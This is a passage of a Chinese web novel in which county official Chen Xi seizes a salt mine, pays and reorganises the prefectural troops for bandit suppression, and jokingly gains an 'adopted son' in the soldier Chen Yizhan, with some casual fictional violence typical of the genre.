陈息说着话,杨刚烈内心也在想。
确实是这么回事,自己一辈子待在行伍里,以前的朝廷,可从未拖欠过军饷,剿匪赏钱更是及时下发。
可如今呢。
不光拖欠军饷,剿匪的赏钱,更是托都不托,直接就是没有。
送来一张奖状有个屁用。
那东西能顶饿?
弟兄们当饭吃?
还有就是边关问题,大御建朝200余年,确实发生过十数次边关被破。
那些**入关,无一例外,都是烧杀劫掠一番。
他们也知道守不住城,抢光一切能抢的,男人被抓回去当奴隶,女人抓去为他们生孩子。
至于大御的老人孩童,一个不留,全部屠戮干净。
遇到强烈抵抗的城池,破城之后,直接一把火烧了。
至于村庄,更是不在话下。
他们的目标只有一个,那就是抢。
等朝廷派兵**,他们又跑回关外。
大御也曾派军出关作战,但那些游牧民族全部躲进草原深处。
征讨几次都铩羽而归。
久而久之,朝廷只能加高加固关口,即便是这样,也挡不住**入侵。
直到大御强盛时期,**才很少来犯。
不过随着世家门阀崛起,朝堂党派林立,近几年民生每况愈下,已有天下大乱之势。
而,**那边近几年,出现一位雄主,已经控制了大半草原。
这次正是他,带兵攻打北寒关。
至于北寒关能守多久,谁都不清楚。
唯一可以确定的是,白山县距离关口不远,如果北寒关被破。
不出十日,白山县就会迎来,第一波**的烧杀抢掠。
“兄弟,北寒关破不破,咱们说的不算。”
“可,**一事,又从何说起啊。”
陈息见他还没听明白,白了他一眼,很有耐心的和他解释:
“**,有很多种办法。”
“例如......”
陈息想了想,这个问题太深奥了,以他的智商,完全理解不到。
不然解释起来,自己一天不用干别的了。
“这么和你说吧,这批税银,我不想送去州府。”
“咱们就用来屯粮,扩军,加固城墙。”
“我预料不差的话,等不到春耕,**必然破关。”
“边关一破,白山县首当其冲。”
“我可是听说,大御现在四面受敌,男丁都要打没了,这点你心里最清楚。”
“到那个时候,你指望朝廷派兵来救?”
这句话可说到杨刚烈心坎里了,确实如陈息所说,大御近些年孱弱,如同一只待宰的羔羊。
周边邻国觊觎大御肥沃土地已久,纷纷举兵来袭。
前线每天都会战死大批将士,照这个状况发展下去,确实抽不出军队救白山县。
见杨刚烈沉默,陈息笑了笑,接着开口:
“能救我们的,只有自己。”
说罢,陈息起身,视线透过窗子望向远方,眼中寒芒一闪而逝:
“选择一,还是选择二,你还是多想想吧。”
“不用急着答复我,我先去忙了。”
陈息一把拉开堵在门口的杨刚烈,出门。
有些事,别人再怎么说都没用。
只有他自己想通了,才是真正的蜕变。
陈息来到大堂,开始分配今天的任务。
“杨冲,你去通知所有府兵,午时到校场集合,我有事宣布。”
“是的大人!”
杨冲改口的最快,陈叔叔现在是县尉,人多时必须称呼大人,私下里再称呼陈叔叔。
小伙子办事麻利,得了命令后,立即去做。
“二牛,立即带着人去抄家。”
“好的大哥。”
陈息又吩咐了几个衙役,全力辅助二牛等人。
人都打发走了,又命胡伢子照看宁大山几个伤员。
安排好了一切,陈息与宁乱带着几个捕快,押着刘中赶往王家盐矿。
为了节省时间,特地选了几匹快马,一路疾驰。
高家湾。
距离白山县50里。
这里原本是一个村子,由于被王家开发出盐矿,整个村子一夜之间,被土匪杀绝。
村们的屋子,全部被安置苦力。
村后山,便是盐矿。
盐矿经过简单的粉碎,直接通过村道运输出来,交通十分便利。
王家被满门处斩的消息传到这里,负责监管苦力做工的王家家丁,今早全部逃跑。
此刻只剩下100多苦力留在这里。
大眼瞪小眼。
他们在这里做工,是没有工钱的,被限制人身自由,为的只是一日两餐果腹
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。
陈息赶到这里时,100多名苦力齐齐跪到村道两旁,等待他们的命运是什么?
谁都不知道。
陈息几匹快马赶来,站住。
抬眼扫视一圈跪在村道边的苦力,个个衣衫褴褛,年纪参差不齐。
“他们是怎么回事?”
刘中被五花大绑挂在马背上,听到县尉爷询问,立即作答:
“回县尉爷的话,这些都是土匪从外面抓来的苦力,卖给王章,他们只负责采矿。”
陈息皱了皱眉,骑着马,径直路过他们身边。
苦力们见官府差人前来,都把头埋在地上,默不作声,不敢直视。
陈息深吸一口气,眉间已有冷冽之色,向后山指了指:
“松开刘中,让他带路。”
“是的县尉爷。”
有捕快立即解开刘中,一脚踢在他屁股上:
“带路。”
“是是是,小的知道地形,县尉爷请随小的来。”
刘中被绑得紧,此刻松开绳索,赶紧捏了捏发麻的大腿,一瘸一拐的在前面带路。
穿过村子便是后山,这里被王家占据许久,上山的路,被修成缓坡。
一行人骑着马,盏茶间便来到了大山中间的盐矿。
入眼处,足有10多个足球大小的空旷场地,仓库,居所,应有尽有。
四角还修建几座瞭望台,用来监视苦力做工。
抬眼,整片后山只被开采不到5分之1,一条宽阔盐矿脉直插入山。
矿脉边缘,七零八落的开采工具。
显然,这边得到王家覆灭的消息后,监工跑的很匆忙。
陈息捡起一块盐矿,看了看,又尝了尝。
嘴角露出一抹微笑。
品质同基地的盐矿一样。
纯度极高。
不过这里的盐矿规模,可比基地大了太多。
发财了啊。
“你们在这里看守,没有我的命令,不许放走一人。”
“是!”
几个普快答应的爽快。
“县尉爷...县尉爷...那小的呢?”
刘中一脸谄媚讨好,自己这么大的功劳,恢复原职不敢想,但小命起码保住了吧。
陈息微微一笑:
“你也留在这里。”
说罢,唐刀一闪,割断喉咙。
刘中扑通一声倒地,胡乱蹬着腿,眼神逐渐涣散。
“剁碎点喂野狗。”
陈息轻飘飘留下一句话,策马而去。
顺利接管盐矿,接下来,便是整顿府兵。
朝廷做不到的,小爷做。
朝廷能做到的,小爷比他做的更好。
至于**?
哪个大胆的朝廷,敢造小爷的反?
第126章 儿啊,去给弟兄们发钱
晌午。
陈息一人一骑赶到府兵校场。
杨冲已经集结了全部府兵,虽说府兵们士气低迷,但依旧站的笔直,列队在台下。
陈息径直走上高台,目光向下一扫。
府兵们脸上的表情都有些不自然。
杨刚烈被提升为县令,可这位新来的县尉,他们都不认识。
看了一眼新来的县尉,又茫然四顾起来。
自己的老上司,都没能给他们要来奖赏,有的弟兄们,家里都揭不开锅了。
这位新来的县尉,恐怕也是同其他官老爷一样。
先是拿朝廷颁发的奖状鼓励一下,然后再画一个大饼,并承诺尽快要回拖欠的军饷。
唠唠叨叨,没完没了。
倒不如,赏几日番休来得实在。
让弟兄们去做做零工,贴补一下家用。
见台下无精打采的府兵,陈息一句话没说,从怀里掏出一大锭银子。
“啪——”
拍在面前的桌案上。
突如其来的巨响,吓了台下府兵一跳。
抬眼看向声音传来的方向。
咦?
啥东西那么晃眼?
没等府兵们看清,又传来啪的一声。
桌案上,两个大银锭子,在阳光照耀下,闪闪发光。
“**!”
“银锭子!”
这次终于看清了,府兵们被震惊的,爆了句粗口。
这还没完,陈息一口气拍出10个大锭子。
每一道声响,都拍在了府兵们的心脏。
一年来,他们连铜钱都很少见到,更别提明晃晃的银锭子了。
府兵们齐齐咽了口唾沫。
目光锁死在银锭子上,再也移不开了。
难道这是朝廷拖欠的军饷?
不对啊,自己老上司今早都说了,剿匪的赏钱,朝廷都分文没出,更别提拖欠的军饷了。
看来是这位新来的县尉,故意在他们面前显摆。
切!
有钱人,玩的真花啊。
你要是拍出来几个烧饼,都能认为是赏我们的。
可这银锭子是啥意思?
反应过来的府兵们,你瞅瞅我,我瞅瞅你。
也就现在是正式场合,不然都能嗤笑出声。
在我们面前显摆有啥用?
有能耐你把赏钱要回来,弟兄们才佩服你。
陈息扫了一眼台下,见府兵们刚开始都两眼放光的盯着银子,这会又无精打采起来。
甚至有几个胆大的,同时咧咧嘴,头都扭到一边去了。
直接无视自己。
陈息笑了,笑的很大声。
听到笑声,还有几个抱有幻想的府兵,眼神瞬间失落,也和别人一样,扭过头去。
果然是在我们面前显摆呢。
有啥饼,赶紧画吧。
画完了早点下职,哪怕去给贵人们挖粪坑,也能赚个铜钱花花。
在这被人当猴耍。
呸!
府兵们心里虽怨气升腾,但面上不敢太露出来。
只能用无视县尉,发泄心中的不满。
陈息大笑了好几声,才饶有兴致的看着台下的府兵。
不错!
都是条汉子!
原本还以为那些府兵看到银子,不说上前询问,起码也要交头接耳一番。
哪成想,个个都挺硬的。
一声没吭。
直接无视了自己。
“**——”
陈息拍了几下手,将全场目光锁定在自己身上。
府兵们见陈息要开始讲话了,都把头扭了过来。
一脸无所谓的望向他。
开始耍猴吧。
我们500来只猴,不知能让县尉爷耍多久。
“咳咳——”
陈息清了清嗓子,开口道:
“这些银子......”
刚说出几个字,府兵们又将头齐齐扭了过去。
还来?
还没显摆够?
真是造了孽啊,摊上这么爱臭显的主。
弟兄们饭都没吃呢,听你在这没完没了的。
不少府兵都红愠了。
有脾气暴躁的,都想上台揍他一顿了。
陈息不管他们什么想法,依旧自顾自的说着:
“这些银子,是本官一天的零花钱。”
府兵们彻底绷不住了,眼睛都快冒出火来。
有个大胆的,狠狠的往地上啐了一口:
“呸!”
“吹牛逼!”
声音很小,但被陈息听到了。
陈息凝眼望向那人。
那人见陈息目光扫来,丝毫没怯,仰着头望天。
风也不大啊,天上怎么都是牛皮。
哪个二傻子吹的?
陈息见他不忿,走下台,径直走向那人。
来到近前,一把薅住他脖领子,笑容有些玩味:
“刚才是你说的?”
那人撇了一眼陈息,继续仰头望天。
根本不屑与他说话。
要杀要剐随你,老子皱一下眉头,随你姓。
陈息见他这副样子,顿时来了兴致。
有点脾气啊小伙子。
上下仔细打量一番。
身体不算魁梧,但很结实,双手布满老茧,尤其虎口处最厚实。
下巴处一道刀疤,直连到后颈。
小伙子长得不丑,朗目剑眉,很是精神。
此刻,穿着一身洗的发白的制式棉服,站的扬得二正。
“你叫什么名字?”
这次小伙子说话了,依旧仰着脑袋望天,眼皮都抬一
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下:
“陈一展!”
语气不屑,但三个字清晰入耳。
陈息拍了拍他肩膀:
“如果我将一天的零花钱,赏给大家。”
“你又怎么说呢?”
陈一展斜眼瞟了一下陈息,语气依旧不屑:
“你若赏给大家,我不但向你道歉,还管你叫爹。”
这帮有钱的贵人都一个样,银钱可以拿出来显摆,但绝不会舍出去。
这种人,陈一展可见多了。
他下职到贵人家做兼工,经常遇到抠门的贵人。
故意拿出银钱来,让兼工看见,让他们以为做的好,就能得到些赏钱。
前几次他很卖力的做,可到头来,狗屁都没捞到。
用眼角余光,瞟了一眼陈息,露出个不屑的表情。
那可是100两银子,你若能赏出来,管你叫一辈子爹都行。
陈一展没当回事,可陈息却来了兴趣。
合着还有意外惊喜?
没费劲,多了个儿子。
正好,连姓都不用改了。
重重拍了两下他的肩膀:
“记住你说的话。”
说完,松开薅着他领子的手,还贴心的帮他抻了抻褶皱的棉衣。
自己儿子得穿的板正些,不然出去掉价。
陈息转身上了高台。
这次气势完全不同,冷眼一扫全场,朗声道:
“都给我看清了。”
一指桌案上10个大银锭子:
“这里是100两银子。”
“本官,拿出80两,作为这次剿匪赏钱。”
“其余20两,作为战死弟兄的抚恤金。”
此言一出,震惊全场!
什么?
80两的赏钱?
还有20两的抚恤金?
所有人都懵逼了。
陈一展,懵逼*100。
这还不算完,陈息继续加码:
“拿着这些钱,回去给家里置办些粮食,明天开始继续剿匪。”
一拍桌子,砸醒众人:
“从今往后,你们每日三餐,一餐有荤腥。”
“明日剿匪开始,每杀一个土匪,本官赏铜钱100,上不封顶。”
“受伤与战死......”
说到这里,陈息一拍胸脯子:
“不光有抚恤金,家人往后的生活。”
“我管了!”
说罢,直接走下高台,路过陈一展身边,脚步不停,冷漠开口:
“儿啊,去给弟兄们发钱。”
直到陈息离开了校场,众人才从震惊中醒来。
一起扭头,望向呆愣愣的陈一展。
展爷!
你爹让你发钱。
还愣着干什么呢?
难道不听你爹的话?
第127章 报答我爹
陈一展!
白山县人。
3岁父母双亡,由大伯一家抚养成人。
12岁,被一路过的镖师相中,带去东淮府习武。
直至三月前,收到婶娘一封家信。
信中说,大伯外出时,被土匪所害,如今白山县家中,唯有婶娘一人。
由于思念大伯,婶娘一病不起。
“吾侄,见字如面,请速回白山县,婶娘膝下无子,望,展儿为你大伯,顶幡起灵,安葬后,再奔前程!”
陈一展看完了信,泪如雨下。
他从小父母双亡,是大伯和婶娘将他抚养成人。
这些年在外习武,心中唯一放心不下的,便是大伯和婶娘。
告别了恩师,这些年攒下的银钱,换了匹快马。
连夜起程。
风尘仆仆赶往白山县。
眼看要到白山县地界时,被一伙土匪**。
陈一展单枪匹马,击杀12名土匪,由于马匹被土匪射杀,只能徒步赶回。
回到家中后,用仅余的银钱,安葬了大伯。
婶娘劝他回东淮府,他怎能肯?
留下来,照顾卧床不起的婶娘。
身上的银钱花完了,正赶上杨刚烈扩充府兵,于是报了名。
以为在这里能拿到军饷,哪成想,做了三个月,一个铜板没拿到。
想离开,却又不甘心。
只能下了值,同别的府兵一样,做兼工照顾婶娘。
直到今日陈息来校场,这货身上,一个铜钱都没有了。
娘俩的晚饭,都成了问题。
这也是见陈息拿出银子显摆,他瞧不上的原因。
“展爷,展爷,醒醒嘿。”
一旁的府兵拉着他的衣袖,唤醒还在懵逼的陈一展。
“啊!”
陈一展应了一声,一张俊脸臊得通红。
府兵们将他围成一圈,这帮行伍出身的糙汉,竟罕见地对一个新来的小伙子,温声细语:
“展爷,县尉爷让你去发钱。”
“您看......”
府兵抬手指了指,高台上闪闪发光的10个银锭子。
这帮府兵不敢在他面前造次,虽然陈一展刚入职没多久,但小伙子为人仗义,身手又好,很得府兵们敬重。
昨天剿匪,只陈一展一人,便杀了30多土匪。
他没有分到连**,全靠自身勇武,一人一刀冲在最前面。
由于己方还有叶红缨的骑兵助阵,这一仗打的很快。
一土匪头目见势不妙开溜,正巧被这货撞见。
一口气追出5里地,将那头目剁成肉泥。
有些揭不开锅的府兵,甚至都想装一团碎肉回去包饺子。
实在是,肉馅太新鲜了啊。
陈一展红着脸抬头,皱了皱眉,走上台去。
杨冲见陈一展上台,向案台上努努嘴,幸灾乐祸道:
“你爹让你发钱。”
杨冲这小子蔫坏,这回好,有和自己作伴的了。
自己管县尉爷叫叔,他管县尉爷叫爹。
俩人谁也别说谁。
陈一展与杨冲关系要好,有几次家中断粮,都是杨冲接济他的。
俩人岁数一般大,平时在一起切磋武艺,玩的很投机。
陈一展拧着眉瞪眼:
“你管我爹叫啥?”
他有些生气了,外人笑话我,你作为兄弟也笑话我?
不服就切磋一下子。
杨冲低头:
“我管你爹叫叔。”
两人对视半晌,噗呲一下,同时苦笑出声。
这回行了,两人不光是玩伴,现在成亲戚了。
还特么近亲。
县尉爷赏钱,底下弟兄们都眼巴巴等着呢。
那还说啥,俩小伙子办事麻利,没多会功夫便发完了。
府兵们这是近一年,第一次从府里拿到银子。
有好几个,激动的哭了。
买米,买糙米,什么叫咸萝卜,哪个叫烂白菜。
统统都要买。
挥霍!
县尉爷还说了,明个开始剿匪,杀一个100铜钱,杀两个200铜钱。
上不封顶。
众人拿着银子,都不约而同的望向陈一展。
这货,该发财了啊。
昨天,他自己就**30多土匪。
有好奇的掐指一算,30多个土匪,不得900多两银子啊。
咱县尉爷,6天的零花钱。
算完了才放心,只要县尉爷不破产,咱们的日子就有盼头。
府兵们手里拿着银钱,发自内心的感激县尉爷。
救命的钱,这都是救命的钱。
众人心满意足离开,留下一脸幸灾乐祸的杨冲,和一脸吃了大便表情的陈一展
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。
“钱也发完了,走吧。”
“去哪?”
“向你爹汇报啊。”
“向你叔!”
“向你爹!”
俩货一路上拌着嘴,有好几次,差点当街切磋起来。
二人来到县衙,就见陈息半躺在官椅,两只脚翘在公案上,正在假寐。
听见声音,陈息轻抬眼皮,顺着眼缝瞧见陈一展和杨冲来了。
随后放下双腿,正襟危坐:
“来啦,我的好大儿。”
杨冲憋着笑,深鞠一躬:
“杨冲见过陈叔叔。”
撇了撇陈一展,见这货一脸通红,牙齿咬得嘴唇泛白,陈叔叔这一句好大儿,叫的**该怎么回话,尬在那里。
杨冲也不管他,与陈息打完了招呼,便站到一边,喜滋滋的看陈一展怎么收场。
陈一展脸红的要滴血,尬的说不出话。
陈息也不着急,就那么一脸玩味的盯着他。
上下来回的打量,该说不说,好大儿继承了我优良血脉,一表人才。
改天给他娶个婆娘,争取明年生娃。
小爷22岁,当爷爷!
哪个能比?
整个县衙大堂,鸦雀无声。
最终还是陈一展败下阵来,他最重承诺,输了就是输了。
“爹!”
这一声爹叫出口,可把陈息美坏了。
“诶!”
赶紧答应了一声,站起身便往这边走,边走边从怀里摸出个大银锭子,一把塞到陈一展手里,哈哈一笑:
“回去给婶娘买些补品,家里多置办些粮食。”
“你的事我都听说了。”
“是个孝子。”
陈息拍了拍他肩膀,正色道:
“赌注完成,你兑现了承诺,是条汉子。”
“从今天起,管我叫什么随你,赶紧回去孝敬婶娘去。”
陈息回到县府,就打听了陈一展全部事迹。
得知这小伙子重情重义,不由得刮目相看。
至于赌注,都是开玩笑的。
自己这么大人了,怎能随便占人家便宜?
差不多就行了。
陈一展拿着银锭子,脑子迷迷糊糊的,都不知道怎么回得家。
坐在床沿上思来想去。
最终,打定决心。
从明天开始,努力剿匪。
报答我爹!
第128章 少年意气
第二天一早。
府兵校场。
陈息上了高台,目光向下一扫。
今天府兵们的士气,与昨天相比,天壤之别。
一个个都有了精神,穿上了朝廷下发的轻型甲胄,站的标杆溜直。
“好,不错!”
“就应该是这个士气。”
同昨日一样,上台来,先拍银子。
一口气掏出200两,拍在桌案上。
引得下面府兵们,目光火热!
“下面,开始分组!”
昨晚,陈息向杨冲仔细询问了府兵的建制,兵器,战术战法等情况。
心中做到有数后,制定了一套,全新的建制和剿匪计划。
不等府兵们疑惑,陈息从怀中掏出一张纸。
按照上面写好的名单,一一念出来:
“杨冲,程志远,肖寒,安金城...”
念出四个名字后,饶有兴致的望向台下,站的笔直的陈一展。
“陈一展!”
所有人都疑惑了。
县尉爷这是要干嘛?
只有陈一展目光灼热,心中隐约猜到干爹要做什么。
陈息继续开口:
“你们5人,出列。”
陈一展,杨冲闻言,率先出列,站在人群的最前方。
被念到名字的那3人,见他们两个出列,也都站了出来。
5人,站成一排。
见他们都站好了,陈息开始为他们重新分组。
“杨冲,为一团校尉,旗下100人。”
“陈一展,为二团校尉,旗下100人。”
“程志远,三团......”
“肖寒,四团......”
“安金城,五团......”
500多人府兵,被平分为5个团。
陈息一摆手,将拟定好的剿匪方案,和5份地图,交给杨冲发到下面。
这是陈息规划了一夜,直到今早才赶制出来的,作战方案和地图。
5人,每人一份。
方案到手,5人齐齐展开。
“**——”
看到方案和地图,他们齐齐爆了句粗口。
作战方案中,事无巨细的写清了,对方匪寨的大致人数和武器装备,几条红线作为进攻路线。
甚至一些匪寨的暗哨位置,也标注了出来。
再看地图,5人都瞪大了眼睛。
匪寨的具体位置,周边的山脉河流,哪里植被稀少,哪里树木紧密,几条路可以上山......全部画的明明白白。
就差没把他们大当家的画像弄出来了。
这......这......这都是县尉爷画的?
知己知彼,这仗怎么输?
再望向陈息时,眼神中充满了敬仰。
陈息一指台下5名校尉:
“你们的第一个任务,便是选出你们的什长和伍长。”
这个任务简单,府兵们原来就有分组,不多时,便选好了。
5个团,分别站开,彼此间泾渭分明。
见他们效率如此之高,陈息心下一喜。
不愧是杨刚烈手下的兵,就算没有军饷,但就冲这份纪律,合格线以上!
见他们都分好了,陈息抬手一指案台上的银锭子,说出这次剿匪的赏金分配模式:
“本官昨天答应大家了,每杀1个土匪,赏100铜钱。”
“现在,赏银就在这里,至于能拿到多少,全凭本事。”
话一出口,台下府兵个个目光灼热。
县尉爷果真说话算话,这还有啥说的,干就完了。
他们当府兵的军饷,只够勉强养家,如今来了赚外快的机会。
岂能不把握?
他们也想改善生活,贵人吃的糕点,自己的婆娘孩子,未必不能尝尝。
年迈的父母,嗷嗷待哺的孩子,这些都是他们赚钱的动力。
就在众人恨不得立即上山剿匪时,人群中传来一道铿锵有力的声音:
“爹,一个寨子不够孩儿吃的,能不能再给几个?”
话音刚落,全场目光锁定在陈一展身上。
陈一展如青松般站定,完全不为外界所动,目光火热的盯着陈息。
陈息微微一怔,看这架势,自己这个爹的身份,坐实了啊。
再看陈一展,依旧是昨天那副装束,但气势却截然不同。
一头碎发剪的整整齐齐,两道剑眉斜插入鬓,朗目中星光点点。
犹如一柄出鞘的利剑。
“你说什么?一个寨子不够你吃的?”
陈息面上装的震惊,其实心里已经乐开了花。
给多少都不够吃的,这才是男子汉的作风。
少年郎,更该这样。
没有气吞霄汉的壮志,又何谈意气风发!
“是的爹,一个寨子太少,我要打10个。”
陈息闻言,嘴角狠狠一抽,这句话我好像在哪听过?
你要打10个,可老爹没准备那么多啊。
昨晚连夜就准备出7个寨子的信息,没想到,这熊孩子上来就要打10个。
见他斗志昂扬,不忍打击孩子信心。
又从怀里,把仅剩的两份方案和地图掏了出来。
还没递给陈一展呢,又是一道铿锵有力的声音传来:
“陈叔叔,我打20个!”
杨冲被陈一展的志气感染了,七个不服八个不忿的站了出来。
另外三个校尉见这两人争上了,也凑上前来:
“县尉爷,我知道抢不过您的二位公子,但我们也想多打几个寨子。”
陈一展见他们都来抢,顿时急了:
“都滚一边去,这是我先提的,没你们份。”
杨冲也急了:
“咋地?你也不怕撑死,有那两下子么,还打10个。”
杨冲不服气,陈一展更
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是不服:
“来来来,今天就让看看,我到底有没有那个实力。”
说完话一挥手,身后府兵齐齐散开,给两人空出场地。
杨冲一听这话,更加来气了,想比划比划是吧,来呀。
两个少年郎,一个不服一个,撸胳膊挽袖子就要大战一场。
陈一展松了松肩骨,脚下丁字步站稳,向杨冲一招手:
“平时切磋,我都是让着你,但今天,我吃肉,你只能喝汤。”
杨冲丝毫不惧,两人平时切磋都是半斤八两,今天岂能让你吓住?
“说别的没用,我杨冲也不是吃素的。”
府兵们见两人要动真格的了,纷纷给二人打气叫好。
这二位可是府兵中的高手,都是从小习武,切磋起来肯定好看。
看看他俩到底谁强。
众人呐喊声此起彼伏,战斗一触即发。
就在两人都摆好了架势,准备比斗时。
场中走来一人,陈息气的咬牙切齿,站在两人中间。
双手同时伸出,薅住两人脖领子:
“你们两个,当我不存在是不是?”
两人见陈息面色不对,气势顿时萎了。
“爹...”
“陈叔叔...”
陈息拧着眉毛,左右各看看两人,松开脖领子向后一推,二人纹丝未动,自己手腕子差点脱臼。
再往下看,两人丁字步扎得稳牢,陈息嘴角再次抽了抽。
玛德,大意了啊。
自己这膀子力气都鲜有人比,没想到在俩熊孩子面前吃了瘪。
背过身去,偷偷活动一下发酸的手腕子,装作没事人一样,走到一边,没好气道:
“都抢什么抢?”
“没个规矩!”
两人听到训斥,同时低下了头。
陈息围着两人走了一圈,站定。
拿出那两份寨子的方案地图,语气有些无奈:
“你们两个,一人一份。”
听到这话,两人同时开心起来,虽说只有一份,但总比没有强。
其余三个校尉,眼巴巴的看着。
看清了,确实只有两份后,才缩缩脖子,把脑袋收回来。
彼此对视一眼,咧着嘴一摊手。
只有两份,用屁股想也知道,轮不到自己。
陈一展,杨冲,捧着分给自己的这份地图方案,兴奋的嘴丫子差点咧到后脑勺,如获至宝般揣进怀里。
见他俩这副德行,差点把陈息气笑了。
俩熊孩子,准准的。
“走吧,跟我去军械库领装备。”
陈息走在最前面,陈一展,杨冲,在后面屁颠屁颠跟着。
身后大部队一听领装备,全部跟来。
打开库门。
众人眼前一亮。
连**,弓箭,**......还有成箱成箱,崭新的刀。
啥刀?
这么亮?
第129章 红缨将军
陈一展,杨冲,小哥俩反应最快。
第一个冲进仓库。
陈一展早就有了目标,打开箱子,便拎出两柄精钢长刀。
拿在手里,左摸摸,右看看。
好利的刀。
刃口微微泛着寒光,比刀身更亮的是,陈一展的眼睛。
他12岁起,就在镖局学艺,师父是善使拳脚,并未教他兵刃。
但这小子根骨奇好,别的镖师惜才,都愿意传他两手看家的绝学。
一来二去,十八般武艺,不说样样精通,也算得上登堂**。
其中,他最善使双刀。
此刻两柄崭新的精钢长刀在手,整个人的气质,愈发的锐气逼人。
双刀在手,各挽了一个刀花。
动作丝滑毫不拖泥带水,两个字脱口而出:
“好刀!”
另一边,杨冲一个大跨步,径直来到枪架子前,抻出一杆**。
**丈余,白蜡木枪杆,枪头是陈息亲自设计的,增加锋利度和血槽。
微一提气,以腰部为轴,足下生根,一招横扫千军。
由于速度太快,仿佛挥出一道残影。
“好枪。”
小哥俩选完了武器,其余的府兵也都有秩序的选了起来。
这些武器,都是鹰嘴山近期加班加点打造的。
昨天收到陈息命令,村民们连夜送来。
原来府兵们的武器,全部给拉回鹰嘴山,回炉重造。
这一来一回的折腾,耗费了不少人力物力。
接下来,鹰嘴山的高炉建成后,以冶铁为主,铁矿石有都是,省去了好些麻烦。
而200多名女子,已经被分配到盐矿,提存精盐。
一切都在按部就班的进行中。
所有人都选好了趁手武器,全部人员校场集合。
5团,每团40人使连**,其余60人步战。
府兵们斗志昂扬,根本不用陈息给他们打鸡血,大手一挥:
“出发!”
“是!”
5个队伍,从不同方向出城,分别对应自己要进攻的山寨。
送走了府兵,陈息看了眼天色。
“想必,完成任务后,天已经黑了。”
吩咐下人,到陆达的牙行买5只羊,晚上犒军。
这一战,陈息有着绝对信心。
因为上次一战,附近寨子死伤惨重。
此时已经空虚。
正好,给这些府兵练练手。
等他回到县府时,二牛已经在等候。
见到陈息回来,二牛手中拿着厚厚的一本册子,兴奋的上前汇报:
“大哥,王家和那几个捕快的家,全部抄完。”
“按照大哥的吩咐,一个铜钱都没落下。”
说着话,将那本册子递给陈息:
“所有的账目,都在这里了,大哥过目吧。”
“好!”
陈息接过册子,仔细翻看一遍。
越看眼睛越亮,嘴角像AK一样难压。
王家,银两33455两,古玩字画9箱,珍珠玉器3箱,地契,田契无计。
找出王家宅子的地契一看,惊呆了。
好家伙,五进的大宅子。
陈息咂咂嘴,两眼放光。
这么大的宅子,都快赶上一个小山庄了。
再看看其他地契,田契。
又狠狠咽了口唾沫。
王半城,这货绝对是王半城。
因为县内,小一半的铺子,都是王家的。
他们自己不经营,全部租了出去。
一年光租金就2000多两。
至于城外的田契,他都懒得看了。
厚厚一叠。
陈息平复心中一口气,咬了咬牙根。
没想到,私盐竟这么赚钱。
这么赚钱的生意。
他怎么能放心别人去做?
万一赔了咋办?
自己有钱,赔得起。
还得自己做。
这货,已经在构思未来的商业蓝图了。
这个年代,无论盐或是铁,全部是朝廷严加管控的。
敢碰一根手指头,都是杀头的罪过。
更别提陈息这种了。
手下2个盐矿,1个铁矿。
诛他九十九族都不过分。
“东西呢?”
“全部在马车里,大哥您看运到哪?”
陈息白了他一眼,运到哪?
这特么还用问?
小甜甜的私宅里藏着今年的税银,和牛奔处抄来的家产。
这批王家的银子,自然不能藏在那里。
鸡蛋,要分开放。
“全部运回鹰嘴山,交给二夫人管理。”
“是的大哥。”
二牛要走,陈息突然叫住了他。
“从箱子拿出20两银子,装填府库。”
二牛一愣。
20两银子,装填府库?
如今府库内什么情况,他可最了解了。
偌大的府库,连只老鼠都藏不住。
光溜溜的啊。
摆20两银子在地中央?
好看么?
“是的大哥。”
二牛最大的优点就是听话,大哥让干啥,他就干啥。
抓起两个银锭子,一路小跑放进府库,不一会功夫又回来。
“大哥,还有什么吩咐?”
“随我来。”
两人一前一后,进了内宅。
宁大山几人负伤,宁乱和胡伢子正在为他们换药。
见到陈息来了,宁乱,胡伢子立即起身:
“大哥。”
“主人。”
陈息一拍胡伢子:
“以后,你也同他们一样称呼我。”
胡伢子知道二牛已经被主人收为小弟,没想到自己也有这份待遇。
憨憨的应了一声:
“大哥。”
见他不矫情,陈息很高兴:
“这就对了。”
转头看向宁乱,开口吩咐道:
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“乱子,将大山哥几个送回寨子休养,顺便将他们家人全部接来。”
“你吃什么,他们就吃什么。”
“全部最优待遇。”
宁乱高兴坏了,这几人都是自己的堂兄弟,如今得到大哥认可,全家都不用饿肚子了。
“好嘞大哥。”
应了一声后,便去帮哥几个穿好衣服,准备回鹰嘴山休养。
宁大山兄弟几人,感动的都要哭了,顾不上伤痛,挣扎起身想给陈息行礼,却被他扶住。
“兄弟之间,没那么规矩。”
“你们也是一样,叫我一声大哥,回去安心养伤,以后还指望你们帮我呢。”
一听这话,哥几个立即叫了声大哥,叫完后,都嘿嘿嘿的傻笑着。
这边收拾妥当,陈息又吩咐二牛:
“回去后,将那43个土匪宰了。”
现在寨子里人多,罗蛮子和霍山待久了,保不齐要生出什么歪心思。
不能因为这个小小的隐患,坏了大事。
二牛听完嘿嘿一笑,敢情大哥还不知道呢?
笑呵呵回道:
“大哥您说的那些土匪,上次打仗都**。”
陈息闻言一愣。
都**?
“咋回事?”
“嘿嘿大哥,您是不知道,上次打仗,红缨将军把他们都带上了。”
“拿刀逼着他们冲锋,第一波攻击就是他们发起的。”
“上去没打一个回合,都**。”
说到这里,二牛咧咧嘴:
“死的老惨了,那被人砍的,他娘都认不出来了。”
陈息嘴角狠狠一抽,叶红缨把他们当炮灰了......
“诶?不对...”
“你刚才管叶红缨叫啥?”
二牛愣了愣:
“红缨将军啊。”
说完了才反应过来,大哥这几天没在山上,不知道其中缘由,立即解释道:
“大哥您有所不知,这场仗打完了,叶红缨就让我们,喊她红缨将军。”
说到这里,竟有点委屈巴巴的意思:
“谁不喊,她揍谁。”
陈息听完他解释,心里无语**。
他都替叶红缨感到尴尬。
这愣种。
手底下几个人啊?
就成将军了?
还特么自封的。
“行了,带着人回去吧,路上小心一些。”
他没在这个问题上纠结,叶红缨爱叫啥叫啥吧。
又叮嘱了一些注意事项,才送走了二牛一行人。
身边留下宁乱和胡伢子。
陈息回到卧房简单吃了口饭,昨晚一夜未眠,趁机补上一觉。
可没睡多一会。
外面响起急促的敲门声,同时伴随着宁乱的大嗓门:
“大哥大哥,你儿子和大侄子回来了。”
“两人浑身是血。”
“听府兵们说,他俩这次剿匪。”
“杀疯了!”
第130章 苏家盐铺
“什么叫杀疯了?”
陈息迷迷糊糊睁开眼睛,脑子一时没反应过来。
宁乱见大哥回话,推开房门,几步就来到床榻前,一脸紧张:
“大哥快去看看吧,两人都像从尸堆里爬出来似的。”
闻言,陈息吓坏了,这两个熊孩子咋搞的。
